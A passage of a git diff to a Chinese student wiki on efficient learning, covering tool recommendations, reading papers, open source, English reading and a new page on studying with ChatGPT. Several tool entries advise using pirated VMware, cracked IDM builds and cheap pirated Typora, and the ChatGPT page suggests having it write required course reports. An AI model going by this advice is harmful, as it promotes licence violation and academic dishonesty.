考研的老师会更加重视你是否有能力与他进行利益交换,公司更在乎你是否可以为公司创造价值,想当然的思考已经无法跟上这个飞速运转的世界了。 -# 大学现状 +## 大学现状 在这里引用一段上海交通大学生存指南的一段话。 -> 在当今流水线式的教育体制下,我们就像廉价的零件一样被生产出来。因为数量巨大,没人会对每一个人的教学质量负责。
领导不会为你负责。对于一个争做世界一流大学的研究型学校,管好科研,管好实验室才是当务之急。
相比之下,本科生教学显得无利可图。教授也不会为你负责。拉到足够的经费发表足够的论文,满足学院要求才是生存大计。
要说管学生,也肯定先要管好自己实验室的硕士博士,而非那一百多人大课堂里的某个本科生。就算是科研任务不太重的一些任课教师,他们也不会为你负责——学不懂?那是因为你智力低,要么就是自己底下不用功。为什么跟你一个班上的某某某同学,人家就能懂?
诚然,就算是老师上课说孟加拉语,一个班上也非常有可能冒出一两个翻翻书看看图就能学到八九不离十的同学(或者根本就是以前学过)。
真正在课堂上口传心授的教学,其质量是不会有人过问的。教学评估会考察实验报告格式是否合格,出勤率是否够,但是绝对不会考察上百人的班上到底有几个听懂了的。
试想一下,每个学院每个系有成百上千的学生,每人有着不同的思想、不同的目标、不同的知识背景、不同的接受力,我们怎么可能去指望一个统一的“教学培养计划”强制应用在每个人头上的时候,能够产生效果?好比说食堂师傅炒一大锅菜给上千人吃,我敢说我分到的那盘,不是炒糊就肯定得夹生。
所谓“教学培养计划”,其科学性必须经过教育权威的论证。然而现实中塞给我们的推荐课表,却让人失望。且不深究选修课的分类、学分、毕业条件每年一个样,三年大变样,使得不少同学毕业前夕竞相奔走;甚至连两门相依赖课程的教学先后顺序都搞错过,这样的教学培养计划,实在让人难以信任 +> 在当今流水线式的教育体制下,我们就像廉价的零件一样被生产出来。因为数量巨大,没人会对每一个人的教学质量负责。 +> +> 领导不会为你负责。对于一个争做世界一流大学的研究型学校,管好科研,管好实验室才是当务之急。 +> +> 相比之下,本科生教学显得无利可图。教授也不会为你负责。拉到足够的经费发表足够的论文,满足学院要求才是生存大计。 +> +> 要说管学生,也肯定先要管好自己实验室的硕士博士,而非那一百多人大课堂里的某个本科生。就算是科研任务不太重的一些任课教师,他们也不会为你负责——学不懂?那是因为你智力低,要么就是自己底下不用功。为什么跟你一个班上的某某某同学,人家就能懂? +> +> 诚然,就算是老师上课说孟加拉语,一个班上也非常有可能冒出一两个翻翻书看看图就能学到八九不离十的同学(或者根本就是以前学过)。 +> +> 真正在课堂上口传心授的教学,其质量是不会有人过问的。教学评估会考察实验报告格式是否合格,出勤率是否够,但是绝对不会考察上百人的班上到底有几个听懂了的。 +> +> 试想一下,每个学院每个系有成百上千的学生,每人有着不同的思想、不同的目标、不同的知识背景、不同的接受力,我们怎么可能去指望一个统一的“教学培养计划”强制应用在每个人头上的时候,能够产生效果?好比说食堂师傅炒一大锅菜给上千人吃,我敢说我分到的那盘,不是炒糊就肯定得夹生。 +> +> 所谓“教学培养计划”,其科学性必须经过教育权威的论证。然而现实中塞给我们的推荐课表,却让人失望。且不深究选修课的分类、学分、毕业条件每年一个样,三年大变样,使得不少同学毕业前夕竞相奔走;甚至连两门相依赖课程的教学先后顺序都搞错过,这样的教学培养计划,实在让人难以信任 诚然,杭电不可避免地也会受相应的“学术共同体”的影响,波及了包括但不限于竞赛,授课质量,氛围引导方面诸多的影响。 -但是不可否认的,杭电也有不少优秀的老师愿意投身于教育事业当中。并且,杭电仍然有不少教育资源,可以满足一个人的所需所求。(保研除外) +但是不可否认的,杭电也有不少优秀的老师愿意投身于教育事业当中。并且,杭电仍然有不少教育资源,可以满足一个人的所需所求。~~(保研除外)~~ diff --git a/2.高效学习/2.2优雅的使用工具.md b/2.高效学习/2.2优雅的使用工具.md index a5a5146..9f0ae9a 100644 --- a/2.高效学习/2.2优雅的使用工具.md +++ b/2.高效学习/2.2优雅的使用工具.md @@ -1,19 +1,28 @@ # 2.2 优雅的使用工具 -请大家记住使用工具的基本原则 你所感到不方便的!都有工具解决! +::: tip 🤗 +如果你也有好的工具推荐,请补充喵~ +::: + +请大家记住使用工具的基本原则 **你所感到不方便的!都有工具解决!** + +因此本小节的核心要义在于推荐一些有趣的有助于提高效率的小工具。 + +## 电脑软件及插件 -因此本小节的核心要义在于推荐一些有趣的有助于提高效率的小工具 -## 电脑便捷辅助插件 - [Everything](https://www.voidtools.com/zh-cn/downloads/) 电脑上的全局文件搜索 方便你找到不知道丢哪的文件 - [SpaceSniffer](http://www.uderzo.it/main_products/space_sniffer/download.html) 快速分析硬盘空间占用情况 解放储存,不解放大脑 -- [IDM 及百度云脚本](https://greasyfork.org/zh-CN/scripts/436446-%E7%BD%91%E7%9B%98%E7%9B%B4%E9%93%BE%E4%B8%8B%E8%BD%BD%E5%8A%A9%E6%89%8B) 帮助你将百度云提速(暂不可用) +- [Snipaste](https://zh.snipaste.com/) 全局截图工具,按 F1 键截图,F3 键贴图,简单够用 +- [eSearch](https://esearch.vercel.app/) 全局截图工具,优化了文字识别功能,可个性化,支持全平台 +- [ShareX](https://esearch.vercel.app/) 全局截图工具,功能非常强大,高度可个性化,仅支持 Win +- [IDM](https://www.internetdownloadmanager.com/) :好用的多线程下载器(付费的),想要免费的话可以搜一下绿色版之类的。(推荐设置线程数为 CPU 核心数的 2 倍,比如 8 核心的 CPU 设置线程数为 16) - [XDM](https://github.com/subhra74/xdm) :IDM 的跨平台版本。 -- [uTools](https://www.u.tools/) :自由组合插件集(最好用的是 Alt+Space 搜索功能,和 PowerToys 二选一)非常强大,比如安装 fileshare 可以在局域网共享超大文件,而且是跨平台的。 -- [PowerToys](https://github.com/microsoft/PowerToys) :微软官方出品包含诸多功能,解决 windows 下一些小痛点。 -- [Connect to Work or Games from Anywhere | Parsec](https://parsec.app/) :串流小工具,简单来说你就是可以在手机上玩电脑了,远程操作,极致体验(也可以玩游戏) -- [VMware workstation](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.Y.1VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md):虚拟机就用它!但是最好自己找找盗版,正版要钱。 +- [uTools](https://www.u.tools/) :自由组合插件集(最好用的是 Alt+Space 搜索功能)非常强大,比如安装 fileshare 可以在局域网共享超大文件,而且是跨平台的。 +- [PowerToys](https://github.com/microsoft/PowerToys) :微软官方出品,包含诸多功能,解决 windows 下一些小痛点。 +- [Connect to Work or Games from Anywhere | Parsec](https://parsec.app/) :串流小工具,简单来说你就是可以在手机上玩电脑了,远程操作,极致体验~~(也可以玩游戏)~~ +- [VMware workstation](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.Y.3VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md):虚拟机就用它!但是最好自己找找盗版,正版要钱。 - [cloc](https://github.com/AlDanial/cloc): 统计代码行数(空白行,注释行,代码行)的小工具 -- mv & cp 命令显示进度条: 在复制大文件的时候非常友好,可以通过以下脚本安装 +- mv & cp 命令显示进度条:在复制大文件的时候非常友好,可以通过以下脚本安装(Linux 系统) ```bash #!/bin/bash @@ -29,7 +38,7 @@ wget http://ftp.gnu.org/gnu/coreutils/coreutils-8.32.tar.xz tar -xJf coreutils-8.32.tar.xz cd coreutils-8.32/ # Download patch -wget https://raw.githubusercontent.com/jarun/advcpmv/master/advcpmv-0.8-8.32.patch +wget https://ghproxy.com/https://raw.githubusercontent.com/jarun/advcpmv/master/advcpmv-0.8-8.32.patch # Patching display with process bar patch -p1 -i advcpmv-0.8-8.32.patch # Compile then install @@ -44,12 +53,17 @@ rm coreutils-8.32 coreutils-8.32.tar.xz ``` ## 笔记工具 -- [Typora](https://typora.io/) 付费的,你可以去并夕夕啊淘宝啊花个不多于 5 块钱的钱买盗版 😋,( 正版 $14.99 ),真的好用,感觉没有 Markdown 编辑器能好用过 Typora🤥 -- [MarkText](https://github.com/marktext/marktext) 免费的 平替 Typora (?)感觉不太好用 😤 + +- [Typora](https://typora.io/) 付费的,~~你可以去并夕夕啊淘宝啊花个不多于 5 块钱的钱买盗版 😋~~,(正版 $14.99),真的好用,感觉没有 Markdown 编辑器能好用过 Typora🤥。 +- [MarkText](https://github.com/marktext/marktext) 免费的,平替 Typora。 +- [MiaoYan](https://github.com/tw93/MiaoYan) 仅支持 apple,界面挺清爽。 - [思源笔记](https://b3log.org/siyuan/) 一个国产开源的笔记/知识库软件,优势是 本地化、双链、Markdown 语法,与 Obsidian 定位相似,但 Geek 成分和自定义空间相对更高 -- [Zotero](https://www.zotero.org/):协助文献阅读还有写笔记,支持与平板同传(同时他是开源的,所以可以添加一些插件) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnO1PEsVd4KY7reeU64spShf.jpg) -- [Notion](http://notion.so): 笔记终结者,非常强大,(设计理念被钉钉,飞书,我来非常抄袭)。在线就可以使用。唯一的缺点是可能需要科学上网。 +- [Zotero](https://www.zotero.org/):协助文献阅读还有记录笔记,支持与平板同传(同时他是开源的,所以可以添加一些插件) + +![](https://cdn.xyxsw.site/boxcnO1PEsVd4KY7reeU64spShf.jpg) + +- [Notion](http://notion.so): 笔记终结者,非常强大,(设计理念被钉钉,飞书,我来非常抄袭)。在线就可以使用。 + ## 文献辅助阅读工具 - [知云文献翻译](https://www.zhiyunwenxian.cn/):可以有效帮助你翻译论文和文章甚至英文书籍 @@ -57,8 +71,8 @@ rm coreutils-8.32 coreutils-8.32.tar.xz ## 浏览器插件 -- [沉浸式翻译](https://immersive-translate.owenyoung.com/installation):中英文对照翻译,可以给你英文下面写一小行中文翻译(里面免费的 api 只有谷歌,必应,腾讯,不过够了,也可以自行配置其他 api ) -- (你真的不玩原神吗)来试试这款原神浏览器插件 [派蒙 paimon](https://github.com/daidr/paimon-webext) : 可以实时显示你的树脂,委托,派遣等情况提示。 +- [沉浸式翻译](https://immersivetranslate.com/docs/installation/):中英文对照翻译,可以给你英文下面写一小行中文翻译(里面免费的 api 只有谷歌,必应,腾讯,不过够了,也可以自行配置其他 api) +- (你真的不玩原神吗)来试试这款原神浏览器插件 [派蒙 paimon](https://github.com/daidr/paimon-webext) :可以实时显示你的树脂,委托,派遣等情况提示。 - [wappalyzer](https://www.wappalyzer.com/):如果你是个 web 仔,这个插件可以帮你检测网页所用的前后端技术栈。 - [FeHelper--Web 前端助手](https://github.com/zxlie/FeHelper):十几个小工具的集合,包括 base64 离线解码等。 - [darkreader](https://github.com/darkreader/darkreader):适应网页的暗色模式,夜深人静冲浪更爽 diff --git a/2.高效学习/2.3.1阅读文档(B百度爬).md b/2.高效学习/2.3.1阅读文档(B百度爬).md index f536f0b..f0ccff4 100644 --- a/2.高效学习/2.3.1阅读文档(B百度爬).md +++ b/2.高效学习/2.3.1阅读文档(B百度爬).md @@ -1,12 +1,12 @@ -# 2.3.1 阅读文档(B 百度爬) +# 2.3.1 阅读文档(破百度爬) -# 查找教程 +## 查找教程 一般帮助我们快速入门的最好的教程是在官网上的。 比如 Pytorch 的官方文档(甚至有中文版哦)。 -同时,在 Youtube 和 B 站 上的不少资料也值得称道。 +同时,在 Youtube 和 B 站上的不少资料也值得称道。 我不建议各位看黑马程序员,尚硅谷这种培训班的教程,太过细致反而有些本末倒置。 @@ -14,7 +14,7 @@ 不要用百度百科!太多错误了! -# 查找资料 +## 查找资料 你应该使用下表中推荐的网站: @@ -24,7 +24,7 @@ - 通常来说, 英文维基百科比中文维基百科和百度百科包含更丰富的内容。 - 一些中文论坛内大家互相抄,很有可能你阅读了很久都没有找到正确的答案,并且英文社区内的内容远远比中文的要好。 -# 英文阅读 +## 英文阅读 随着科学技术的发展, 在国际学术交流中使用英语已经成为常态: 顶尖的论文无一不使用英文来书写, 在国际上公认的计算机领域经典书籍也是使用英文编著。 @@ -38,10 +38,16 @@ 当然也有一些巧妙地方法帮助大家进行阅读,比如知云文献翻译,不要依赖这类软件! -# 科学上网 +## 合理使用代理服务 -学会科学上网是非常重要的一步哦 +学会合理使用代理服务是非常重要的一步哦 -机场无法给大家推荐,但是梯子经常用的无非就是 clash, ssr, v2ray 等 +无法给大家推荐,但是经常用的无非就是 , 等 如果不知道怎么办,可以求助(找学长) + + diff --git a/2.高效学习/2.3.2检索论文核心内容.md b/2.高效学习/2.3.2检索论文核心内容.md index 040939f..58d05e8 100644 --- a/2.高效学习/2.3.2检索论文核心内容.md +++ b/2.高效学习/2.3.2检索论文核心内容.md @@ -2,11 +2,11 @@ 请克服对论文英文的恐惧,适当的利用翻译软件。 -由于笔者只阅读过 CV 领域和NLP领域的一些文章,且阅读量并不算太高,故对论文的理解不仅有限且仅限于该领域内的论文风格和内容技巧,望读者见谅。 +~~由于笔者只阅读过 CV 领域和NLP领域的一些文章,且阅读量并不算太高,故对论文的理解不仅有限且仅限于该领域内的论文风格和内容技巧,望读者见谅。~~ ## 论文的一般结构 -### 1.title(标题) +### 1. title(标题) 首先是标题部分。 @@ -16,19 +16,23 @@ 论文作者会在标题下面指出,当我们的论文阅读量到一定程度之后可以关注一下作者。当我们在关注或研究某一个领域时,该领域的几篇重要论文读下来我们就可以知道哪个作者在该领域较为活跃,谁提出了 Backbone ,谁在挖坑(填坑)。可以通过作者进而检索到你感兴趣的工作或判断论文写作质量。 -### 2.abstract(摘要) +### 2. abstract(摘要) Abstract 是论文中一篇具有独立性的短文,用简单、明确、易懂、精辟的语言对全文内容加以概括,提取论文的主要信息。作者的观点、论文的主要内容、研究成果、独到的见解,这些都会在摘要中体现出来,是需要重点阅读的地方。 摘要在资料交流方面承担着至关重要的作用。摘要会收录到大型资料库中并为读者提供信息,因此我们可以通过摘要索引查找论文。 摘要的四要素:目的、方法、结果和结论称为摘要的四要素。 + (1)目的:指出研究的范围、目的、重要性、任务和前提条件,不是主题的简单重复。 + (2)方法:根据研究的主要内容和发现的问题,说明在这个过程中都做了哪些工作。(摘要中的方法不会太过详细,一般只会给出一个名词) + (3)结果:陈述研究之后重要的新发现、新成果及价值,包括通过调研、实验、观察取得的数据和结果,并剖析其不理想的局限部分。 + (4)结论:通过对这个课题的研究所得出的重要结论,包括从中取得证实的正确观点,进行分析研究,比较预测其在实际生活中运用的意义,理论与实际相结合的价值。 -### 3.introduction(导言) +### 3. introduction(导言) Introduction 主要是对整篇论文的一个介绍,读者看完 introduction 后就知道论文的几乎所有工作。 @@ -36,19 +40,19 @@ Introduction 会说明论文的主题、范围和研究目的。 然后阐明研究的起因、背景及相关领域简要历史回顾。(前人做了哪些工作、哪些尚未解决、目前进展到何种程度等)这一部分不同的论文情况不同,有些论文会单独拿出来作为一部分(related work),当我们刚进入到某一个领域时,我们可以通过这一部分了解该领域的大致研究风格和该篇论文的研究路径,get 到作者的研究思路(论文的这个课题存在有着哪些问题以及所面临怎样的挑战,发现前人工作的缺陷以及在此基础上的改进),有时可能会对我们的工作有启发。当然,如果我们对这一领域足够了解,可以不需要看这一部分,研究思路也可以在论文的方法部分自行体会。 -### 4.method(提出的算法) +### 4. method(提出的算法) -此处为文章主体,详细介绍了他是怎么做的,如果需要复现的话需要仔细阅读这一部分,无论复现与否都需要详细阅读,理解具体操作与作者的理论并尽可能将二者结合(该领域的某些方面可解释性并不强)。读者不仅可以从该部分具体理解论文工作,还可以从中发现与前人工作的不同,并从中提出进一步改进。 +此处为文章主体,详细介绍了他是怎么做的,~~如果需要复现的话需要仔细阅读这一部分~~,无论复现与否都需要详细阅读,理解具体操作与作者的理论并尽可能将二者结合~~(该领域的某些方面可解释性并不强)~~。读者不仅可以从该部分具体理解论文工作,还可以从中发现与前人工作的不同,并从中提出进一步改进。 -### 5.experiment(实验) +### 5. experiment(实验) -一般情况为介绍我为什么很牛逼,这里一般可以跳过如果不写文章的话 +~~一般情况为介绍我为什么很牛逼,这里一般可以跳过如果不写文章的话~~ -该部分一般会晒出工作的效果,我们可以从中更直观的体会工作的改进,甚至可以根据结果直接推断结果好坏的某些原因(不过一般论文中的图片当然都会放效果很好的以便作者吹逼,真想看效果建议复现工作),大胆并合理的假设推理也是科研工作中不可缺少的一个能力。 +该部分一般会晒出工作的效果,我们可以从中更直观的体会工作的改进,甚至可以根据结果直接推断结果好坏的某些原因~~(不过一般论文中的图片当然都会放效果很好的以便作者吹逼,真想看效果建议复现工作)~~,大胆并合理的假设推理也是科研工作中不可缺少的一个能力。 -### 6.conclusion(结论) +### 6. conclusion(结论) -Conclusion 结论部分,一般阅读完开头直接阅读结尾,就基本清楚文章脉络结构和思考方案了 +~~Conclusion 结论部分,一般阅读完开头直接阅读结尾,就基本清楚文章脉络结构和思考方案了~~ 结论和摘要的内容基本相似,但某些论文的结论中可能还会指出对该工作的不足之处,还有该领域内对该工作的一些期望(挖坑)。 @@ -56,19 +60,21 @@ Introduction 会说明论文的主题、范围和研究目的。 视频地址: [如何读论文【论文精读】](https://www.bilibili.com/video/BV1H44y1t75x) -### 第一遍(海选): + + +### 第一遍(海选) 阅读标题、摘要、结论。花费十几分钟时间了解论文是否适合你的研究方向。 看完之后可以再看一看方法和实验部分重要的图和表,进而判断这篇论文是否适合自己,是否和自己当前在做的工作相似。 -### 第二遍(大致把握): +### 第二遍(大致把握) 确定论文值得读之后,快速将整个论文过一遍,不需要知道所有的细节,先尝试去理解论文中重要的图和表,知道每一个部分在干什么,圈出比较重要的相关文献。 若到此为止:知道它解决什么问题,结果怎么样,大概用了什么方法,但是觉得文章很难看不太懂,可以去读他们之前引用的那些文章,读完之后再回头读这篇文章。 -### 第三遍(重点研读): +### 第三遍(重点研读) 第三遍是最详细的一遍,当我们在读第三遍时通常意味着我们对该论文的工作很感兴趣了,这时我们需要力争做到知道每一段和每一句都在说什么、干什么。基本了解整个文章的细节,在之后基于他做研究,或者在之后提到它的时候,可以详详细细的复述一遍。 diff --git a/2.高效学习/2.3.3优秀的开源社区.md b/2.高效学习/2.3.3优秀的开源社区.md index e7a7a19..1072a0b 100644 --- a/2.高效学习/2.3.3优秀的开源社区.md +++ b/2.高效学习/2.3.3优秀的开源社区.md @@ -1,16 +1,16 @@ # 2.3.3 优秀的开源社区 -# 什么是开源? +## 什么是开源? 开源是源代码可以任意获取的计算机软件,这种软件的著作权持有人在软件协议的规定下保留一部分权利并允许用户学习、修改以及以任何目的向任何人分发该软件。 开源协议通常符合开放源代码的定义的要求。 - + 但是后续因为各种原因(有一段有趣的历史,大伙可以去了解一下)开源也变为了很多种形式,比如说较为严格的,如果你使用了我的代码,你就必须也得开源,以及可以自由使用只需要标记参考了哪些源码就行。 - + 这里面有非常多有趣的历史故事以及各种渊源,感兴趣的同学可以自行了解一下 -# 灵活使用开源社区 +## 灵活使用开源社区 开源社区有时候是我们大伙学习一个新技术,查找某一个资料非常好的一种方式。 @@ -22,7 +22,7 @@ 如果说国外的 -[GitHub: Where the world builds software](https://github.com/)(最好科学上网)(全世界最大的开源社区) +[GitHub: Where the world builds software](https://github.com/)(全世界最大的开源社区) 在本章内容 /3.编程思维体系构建/3.5git与github 中详细介绍了github和git的使用方法,大家可以参考一下 @@ -34,94 +34,61 @@ awesome (你想学的东西) 例如 awesome C -# 开源的意义 +## 开源的意义 本章内容节选自Datawhale 5位成员在AI TIME的分享,《清华、北大、上交大、哈工大、中山大学5位同学眼中的开源》。 ## Z世代的开源新态度 - - 杨毅远,王琦与江季作为《Easy RL: 强化学习教程》的作者,他们有着丰富的开源经历与感受。 - - 杨毅远:开源收获的是一个正向反馈 在互联网上开源自己的论文代码、项目代码以及学习心得等内容,也有助于和他人沟通交流,收获的也是一个正向反馈。针对问题普通人如何实现开源,杨毅远认为还是要先拥抱开源,不必操之过急,开源工作需要是有意义的工作,是一个漫长的工作。 - - 王琦:开源的过程虽然会占用自己的一部分时间,但这却是一个幸福的烦恼。 论文末尾大多会附上代码地址,即代码开源。大家在看到论文代码开源的情况下会认为这篇论文能够复现的可能性比较大。虽然在将开源项目发布到GitHub之后给他人问题答复的过程可能会占用自己的一部分时间,但这可以算是一个幸福的烦恼。 - - 江季:敢于开源的人也是一个乐于分享,心态积极的人。 互联网上的开源是需要勇气的,毕竟开源后的代码要在互联网上面临网友们的考验。江季对于开源的领域也有自己独到的见解,他以春秋战国时期的百家争鸣为例,阐述了无论是对于工科生还是文科生,开源这件事都是很适用的。 - - 张文涛:能够与志同道合的人交流,是开源过程中至关重要的一环。 开源不是一个瞬间,而是需要持续地去做,无论是主动还是被动。将项目发布到网络上只是一个起点,之后反复与他人交流和解决问题,进而对项目进行不断的修正。 - - 陈安东:要像种一棵树一样等到自己的开源工作开花结果。 开源可以分为三点:首先是要知道自己想要什么;第二点是做开源一定要有始有终,只有完整的开源工作才能被大家使用和学习,完整的工作才能在之后有优化迭代的空间;第三是要有一个”开源是一个长期的过程”这样的心态。 - - ## 作为年轻一代,我们眼中的企业开源 - - 王琦:企业的目的可能是先通过开源抢占市场,后续再通过推行定制化的服务来盈利。 - - 陈安东:开源是一种企业与市场自我革命的做法,这种革命能够促进技术的发展,最终为用户带来好处。 一个行业的开源企业对传统1对1收费的市场是一个不小的冲击,因为这个市场份额也就随着这家免费的开源企业而不断减小。但是由于开源带来的技术分享反而使市场更加集中与优质化,技术也随着开源而更快速的迭代,从而产生了更好用的产品。 - - 张文涛:开源有利于提升产品的影响力 虽然公司在做开源之前不一定有明确商业目的,但是可能在开源过程中发现一些可盈利的点来开发出其产品线。然后,企业可以将这块收入的一部分反馈到开源的过程之中来增加产品的影响力。 - - 杨毅远:开源不失为一种提高公司知名度和用户信任感的方式 如果是一家中小型的创业公司,是否可以把自己核心的一部分开源出来?这样不失为一种提高公司知名度和用户信任感的方式。此外,当把实验代码开源到网络上之后,人们也希望有其他同领域的专家、研究人员可以一起来滚动更新这个任务。 - - ## 关于未来的开源,我们想说…… - - 江季:开源是一个很有前景的领域,然而现在的开源文化还并不成熟,开源确实是仍然在路上。 开源目前仍然存在不够合格的现象,比如说某些人的开源工作难以复现。开源是一个很有前景的领域,尤其是在促进学术界发展上。然而现在的开源文化还并不成熟,开源网站中占据大部分篇幅的还是广告,并没有形成知识分享的模式,开源确实是仍然在路上。 - - - 张文涛:开源的形式丰富多样,暂时不必思考太多,可以先和志同道合的人一起前进。 - - 王琦:三体人的先进在于一代又一代的持续知识共享,我们可以先模仿、学习他人的项目。 我们如今做的东西,可能在历史长河之中早已被他人做过。如果提前了解到这些,可以很大地提升我们的工作效率。如果想做一个优质的开源项目,我们可以先模仿、学习他人的项目。 - - 陈安东:开源应该是一个特别酷的东西,要敢于让别人看到自己的工作。 如今的开源还远远不够,大多数人还停留在在闭门造车的阶段。鼓励大家将自己的项目分享出来让大家来一起参与,接受大家的评价,彼此交流与指出问题,这样不但可以让开源工作更好,也可以让参与开源的大家收获满满。 diff --git a/2.高效学习/2.4优雅的记笔记.md b/2.高效学习/2.4优雅的记笔记.md index 1b6b578..b2f357c 100644 --- a/2.高效学习/2.4优雅的记笔记.md +++ b/2.高效学习/2.4优雅的记笔记.md @@ -12,6 +12,8 @@ Typora 看看下面教程 -https://www.markdown.xyz/ +https://www.markdown.xyz + 以及这个 -https://castel.dev/post/lecture-notes-1/ + +https://castel.dev/post/lecture-notes-1 diff --git a/2.高效学习/2.5以理工科的方式阅读英语.md b/2.高效学习/2.5以理工科的方式阅读英语.md index dc393c5..d582746 100644 --- a/2.高效学习/2.5以理工科的方式阅读英语.md +++ b/2.高效学习/2.5以理工科的方式阅读英语.md @@ -2,11 +2,12 @@ 作为一名理工科学生,也许英语并不是你的强势,但往往学习又难以避开英语。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/G6zAbGrTKoBLsfxhmvHcUBVynpc.png) +![](https://cdn.xyxsw.site/G6zAbGrTKoBLsfxhmvHcUBVynpc.png) 下面提供一些英语阅读的方法: -1. 学好英语(顺便过四六级) -2. 文档阅读:使用浏览器插件,例如:[沙拉查词](https://saladict.crimx.com/)、[划词翻译](https://hcfy.app/)。 +1. **学好英语(顺便过四六级)** +2. 文档阅读:使用浏览器插件,例如:[沙拉查词](https://saladict.crimx.com/)、[划词翻译](https://hcfy.app/)、[沉浸式翻译](https://immersivetranslate.com/docs/)、[DeepL翻译](https://www.deepl.com/zh/app/) 3. Youtube 等视频网站的双语字幕 [languagereactor](https://www.languagereactor.com/)。 4. 实用翻译软件[复制即翻译](https://copytranslator.github.io/)。 +5. ~~Galgame 翻译 [LunaTranslator](https://github.com/HIllya51/LunaTranslator)~~ diff --git a/2.高效学习/2.6学会使用AI辅助学习.md b/2.高效学习/2.6学会使用AI辅助学习.md new file mode 100644 index 0000000..59afd9f --- /dev/null +++ b/2.高效学习/2.6学会使用AI辅助学习.md @@ -0,0 +1,15 @@ +# 2.1.6学会使用AI辅助学习 + +在过去,AI取代人类似乎一直是一件遥远的事情,但在 2022 年末OpenAI 的 ChatGPT 发布后在全球引发了一场 AI 热潮,ChatGPT 所表现出来的能力让我们思考在不久的未来我们真的会被AI取代吗? + +在知识储备上,我们人类在 AI 面前绝不占优势,就比如 ChatGPT 是几乎使用了绝大多数西方互联网的优质回答而训练出来的,想要在知识储备量战胜AI已经成了天方夜谭,但大家也不要为不知道一些知识而焦虑,我很欣赏南京大学的蒋炎岩教授说的一句话:“大佬和小白的差距并不是知识量的差距,而是大佬知道如何问出好的问题,搜索引擎会告诉你答案,或许未来还可以问 AI ” + +假如你已经玩过 ChatGPT ,你会发现它还远没有到真正取代人类的地步,而是它的出现已经能够使教育以及学习方式发生巨大变革。接下去我会给你们一些小建议: + +- 如果你希望完成一件事但却不知道怎么做,你可以问搜索引擎 (PS:远离百度! 通常会得到 StackOverflow 上的答案),或是直接问 ChatGPT!不过要小心,人工智能现在还经常一本正经胡说八道。 +- 问出合适的问题,就像你问一个大佬,假如你给出的 Prompt 非常宽泛而模糊,无论是谁都没法保障给出的答案是你想要的。比如你问“如何学好数学”,你可能会得到“多做题”这样的答案,但这并不是你想要的。你应该问“如何学好导数”,这样你就能得到更加精准的答案。问ChatGPT也是同样的道理,假如你给了它一个非常宽泛的 Prompt ,它也只能给你一个模糊而无用的回答,假如给它的 Prompt 非常准确,那么你得到一个优质的回答的概率也会更高。 +- 有时候遇到一些你不愿意从头读到尾的手册,这时候去问ChatGPT是一个合适的选择,在一个手册里可能你需要的只是其中的一小段,但是手册却有几十页,此时ChatGPT的优势就体现出来了,它会根据你给的 Prompt 从手册中总结你需要的知识告诉你,这极大地降低了检索知识的成本,所以我觉得ChatGPT更像一个加强版搜索引擎。 +- 向AI获取知识,在现在的很多时候,AI对于知识的掌控和讲解的逻辑性甚至超过了相当一大部分老师,或许去听3节长课甚至不如向ChatGPT问几个问题学到的知识更多,(或许未来的课堂可以变成老师下发一张写着问题的卡片,我们只需要发给ChatGPT,通过它的回答来学习)。 +- 还有就是,在大学你会遇到非常多非常无趣的报告,甚至有些报告需要查重,没人愿意写,这时候ChatGPT就成为了拯救你的时间的利器,直接告诉它报告的要求,同时限定个数和字数,往往它能给出能混出相对高分的优质(低信息熵)报告,当然这适合的是一些水课报告,专业课报告别这么搞,专业课报告最好用它做来辅助你的写作,而不是直接抄袭。 + +> PS. 不论ChatGPT还是一些别的AI,它们的回答都不是绝对准确的,使用的时候要带有自己的思考,不要盲目相信AI的指示,把AI作为你的帮手,这能极大提高你的学习效率。 diff --git a/2.高效学习/2.高效学习.md b/2.高效学习/2.高效学习.md index 630cd4c..908d919 100644 --- a/2.高效学习/2.高效学习.md +++ b/2.高效学习/2.高效学习.md @@ -9,22 +9,27 @@ author:zzm 邮箱 1264517821@qq.com 但是首先各位需要了解几个名词 ::: danger 名词提醒 -# RTFM +
RTFM
Read the f**(friendly) manual -# STFW +::: + +::: danger 名词提醒 + +
STFW
Search the "friendly" website ::: -# 为什么不能直接告诉我? + +## 为什么不能直接告诉我? 因为本讲义的目的除了让你学会知识以外,更重要的目的是教给你如何当一个合格的大学生。 一个合格的大学生理应具备独立解决问题的能力。 -并且这是无论是学术界还是工业界都非常重视的基本素养 +**并且这是无论是学术界还是工业界都非常重视的基本素养** 当遇到问题不是赶紧找个大神帮我,而是"我来试试 STFW 和 RTFM, 看能不能自己解决". @@ -34,17 +39,16 @@ Search the "friendly" website 这也是我们希望大伙能获得的能力,如果把全部信息都塞上去难免有些揠苗助长。 -况且现在还有GPT来辅助你去解决问题,大大降低了学习的难度,不过大家需要谨慎考虑的是,现在的机器也会一本正经的胡说八道 - +况且现在还有ChatGPT来辅助你去解决问题,大大降低了学习的难度,不过大家需要谨慎考虑的是,现在的机器也会一本正经的胡说八道 ::: -# 如果真的不知道怎么解决怎么办? +## 如果真的不知道怎么解决怎么办? -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg) +![](https://cdn.xyxsw.site/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg) 来细看看本章节的内容吧! -# 参考内容 上海交大生存指南 +## 参考内容 上海交大生存指南 [https://survivesjtu.gitbook.io/survivesjtumanual/](https://survivesjtu.gitbook.io/survivesjtumanual/) diff --git a/2.高效学习/static/01.jpg b/2.高效学习/static/01.jpg new file mode 100644 index 0000000..fe35ce9 Binary files /dev/null and b/2.高效学习/static/01.jpg differ diff --git a/2.高效学习/static/02.jpg b/2.高效学习/static/02.jpg new file mode 100644 index 0000000..7ed2142 Binary files /dev/null and b/2.高效学习/static/02.jpg differ diff --git a/2.高效学习/补充:为什么不要用百度.md b/2.高效学习/补充:为什么不要用百度.md index 96623e4..b4759cc 100644 --- 